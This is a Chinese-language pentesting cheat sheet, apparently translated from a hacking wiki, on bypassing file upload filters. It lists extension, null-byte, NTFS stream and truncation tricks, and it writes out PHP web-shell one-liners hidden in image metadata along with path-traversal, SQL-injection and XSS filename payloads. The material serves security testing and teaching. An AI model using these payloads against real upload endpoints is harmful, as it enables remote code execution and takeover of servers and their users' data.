最后更新于
最后更新于
如果您对黑客职业感兴趣并想要攻破不可能的目标 - 我们正在招聘!(需要流利的波兰语书面和口语表达能力)。
其他有用的扩展名:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
在PHPv8中工作: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
如果适用,检查之前的扩展名。还要尝试使用一些大写字母进行测试:pHp, .pHP5, .PhAr ...
在执行扩展名之前添加一个有效的扩展名进行检查(也使用之前的扩展名):
file.png.php
file.png.Php5
尝试在末尾添加特殊字符。您可以使用Burp来暴力破解所有ascii和Unicode字符。 (请注意,您还可以尝试使用先前提到的扩展名)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
尝试绕过保护,通过欺骗服务器端的扩展名解析器,使用双重扩展名或在扩展名之间添加垃圾数据(空字节)。您还可以使用先前的扩展名来准备更好的有效负载。
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
在之前的检查中添加另一层扩展名:
file.png.jpg.php
file.php%00.png%00.jpg
尝试将执行扩展名放在有效扩展名之前,希望服务器配置错误。 (用于利用Apache配置错误,其中任何带有扩展名** .php,但不一定以.php**结尾的内容将执行代码):
例如:file.php.png
在Windows中使用NTFS备用数据流(ADS)。在这种情况下,会在禁止的扩展名之后和允许的扩展名之前插入冒号字符“:”。结果,服务器上将创建一个带有禁止扩展名的空文件(例如“file.asax:.jpg”)。稍后可以使用其他技术编辑此文件,例如使用其短文件名。 “::$data”模式也可用于创建非空文件。因此,在此模式后添加一个点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
尝试突破文件名限制。有效扩展名被截断,恶意PHP代码被留下。AAA<--SNIP-->AAA.php
通过将Content-Type 头的值设置为:image/png,text/plain,application/octet-stream 来绕过Content-Type检查。
通过在文件开头添加真实图像的字节(混淆 file 命令)或在元数据中引入shell来绕过魔术数字检查:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
或者你也可以直接在图像中引入有效负载:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
查找一个漏洞来重命名已上传的文件(更改扩展名)。
查找本地文件包含漏洞以执行后门。
可能的信息泄露:
多次上传(并同时)相同文件,相同名称
上传一个与已存在的文件或文件夹同名的文件
上传一个文件,其名称为**“.”、“..”或“…”。例如,在Windows**的Apache中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
在NTFS中上传一个可能不容易删除的文件,例如**“…:.jpg”**(Windows)
在Windows中上传一个带有无效字符的文件,例如其名称中的 |<>*?”
(Windows)
在Windows中使用保留(禁止)的名称上传文件,如 CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8 和 LPT9。
还尝试上传一个可执行文件(.exe)或一个(不太可疑的).html 文件,当受害者意外打开时将执行代码。
.phar
文件类似于 Java 的 .jar
文件,但用于 PHP,可以像 PHP 文件一样使用(使用 PHP 执行它,或将其包含在脚本中...)
.inc
扩展有时用于仅用于导入文件的 PHP 文件,因此,某些时候,某人可能已经允许执行此扩展名。
如果有能力修改 .ini
配置文件,则可以利用 uWSGI 服务器中的远程命令执行(RCE)漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和运算符。值得注意的是,“@” 运算符,如 @(filename)
,旨在包含文件的内容。在 uWSGI 中支持的各种方案中,“exec” 方案特别强大,允许从进程的标准输出中读取数据。当处理 .ini
配置文件时,此功能可用于恶意目的,如远程命令执行或任意文件写入/读取。
考虑以下有害的 uwsgi.ini
文件示例,展示了各种方案:
在某些情况下,您可能会发现服务器正在使用 wget
来 下载文件,您可以 指定 URL。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单内,以确保只有允许的文件会被下载。然而,这种检查可以被绕过。
Linux 中 文件名 的 最大长度 是 255,但是 wget 会将文件名截断为 236 个字符。您可以 下载一个名为 "A"*232+".php"+".gif" 的文件,这个文件名将 绕过 检查(就像在这个例子中 ".gif" 是一个 有效 的扩展名),但 wget
会将文件重命名为 "A"*232+".php"。
请注意,您可能正在考虑的另一种选项是绕过此检查的方法是使HTTP服务器重定向到另一个文件,因此初始URL将通过检查,然后wget将使用新名称下载重定向的文件。这不会起作用,除非使用参数--trust-server-names
来使用wget,因为wget将使用原始URL中指定的文件名称下载重定向的页面。
将文件名设置为../../../tmp/lol.png
,尝试实现路径遍历
将文件名设置为sleep(10)-- -.jpg
,可能会实现SQL注入
将文件名设置为<svg onload=alert(document.domain)>
以实现XSS
检查上传文件是否有任何大小限制
ASP / ASPX / PHP5 / PHP / PHP3:Webshell / RCE
SVG:存储型XSS / SSRF / XXE
GIF:存储型XSS / SSRF
CSV:CSV注入